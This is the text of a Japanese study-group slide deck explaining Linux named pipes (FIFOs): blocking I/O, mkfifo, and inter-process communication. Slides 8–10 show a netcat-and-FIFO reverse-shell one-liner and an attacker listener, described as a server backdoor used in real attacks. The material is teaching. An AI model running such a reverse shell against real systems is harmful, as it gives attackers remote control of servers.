Slide 1

Slide 1 text

名前付きパイプ FIFO @ozuma5119 1 「新しいLinuxの教科書」を読む会 オンライン #10 2021/02/13

Slide 2

Slide 2 text

名前付きパイプ FIFO 2 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo $ tail -f fifo (別のターミナルで) 読み込んで解放

Slide 3

Slide 3 text

名前付きパイプ FIFO 3 先に読み込んでおく $ tail -f fifo $ echo "Hello" > fifo 今度は書き込むとブロックされない

Slide 4

Slide 4 text

名前付きパイプ FIFO 4 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo 1. 入出力中は他の処理が行えない (特に遅いディスクを扱う ときにつらい) 2. ただし非同期処理で思わぬデータ破壊が起きにくい利点 ※深い話なので、ここではこれ以上突っ込まない

Slide 5

Slide 5 text

5 名前付きパイプ FIFO mkfifo - FIFO (名前付きパイプ) を作成する $ man mkfifo $ mkfifo fifo $ ls -l fifo prw-rw-r--. 1 ozuma ozuma 0 2月 12 20:47 fifo $

Slide 6

Slide 6 text

6 $ cat sample.txt | sort $ cat sample.txt > fifo $ sort < fifo 無名パイプ 名前付きパイプ

Slide 7

Slide 7 text

プロセス間通信に使われる 7 プロセス実行.... ガッ SIGTERM(15) プロセスA プロセスB 通信したいデータ シグナルによるプ ロセス間通信 名前付きパイプによる プロセス間通信 無名パイプ | と違って、 2つのプロセスはバラバラに 実行していて良い

Slide 8

Slide 8 text

高度な例(しかし実際の攻撃によく使われる) 被害サーバ:ここでは /tmp/f が名前付きパイプ 8 $ nc < /tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る

Slide 9

Slide 9 text

9 攻撃者が攻撃対象のマシン 上でコマンド実行 (実際は、バレないように 見えないところで実行) 攻撃者のマシンに シェルがつながって 自由に操作できる

Slide 10

Slide 10 text

もう一度確認して解説 被害サーバ:ここでは /tmp/f が名前付きパイプ 10 $ nc < /tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る